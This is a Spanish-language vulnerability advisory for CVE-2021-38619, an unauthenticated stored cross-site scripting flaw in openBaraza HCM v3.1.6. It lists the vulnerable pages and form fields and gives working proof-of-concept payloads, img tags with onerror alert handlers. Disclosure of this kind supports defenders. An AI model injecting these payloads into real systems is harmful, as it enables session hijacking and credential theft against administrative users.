CVE-2021-38619 openBaraza HCM HR Payroll v.3.1.6 Vulnerabilidad de XSS almacenado no autenticado

openBaraza HCM v.3.1.6 no neutraliza adecuadamente la entrada controlable por el usuario, lo que podría permitir que un atacante remoto no autenticado realice un ataque de cross-site scripting (XSS) almacenado contra un usuario administrativo desde múltiples páginas. Si un atacante inyecta una carga útil de JavaScript arbitraria en las páginas vulnerables y los usuarios legítimos intentan visitar las páginas afectadas, la carga útil se ejecutará. Esto podría dar lugar al robo de credenciales, al secuestro de sesión o a la entrega de malware a la víctima.

Créditos a los descubridores: Charles Bickel y Gideon Gray

---

Página vulnerable: http://serverip:9090/hr/application.jsp

Cuadros de texto vulnerables: first_name, surname, email

Cargas útiles:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('First');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('Surname');" />
• [email protected]<img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

Página afectada: http://serverip:9090/hr/index.jsp?view=23:0

---

Página vulnerable: http://serverip:9090/hr/subscription.jsp

Cuadros de texto vulnerables: business_name, primary_contact, primary_email, confirm_email

Cargas útiles:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('business');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('contact');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

Página afectada: http://serverip:9090/hr/index.jsp?view=94:0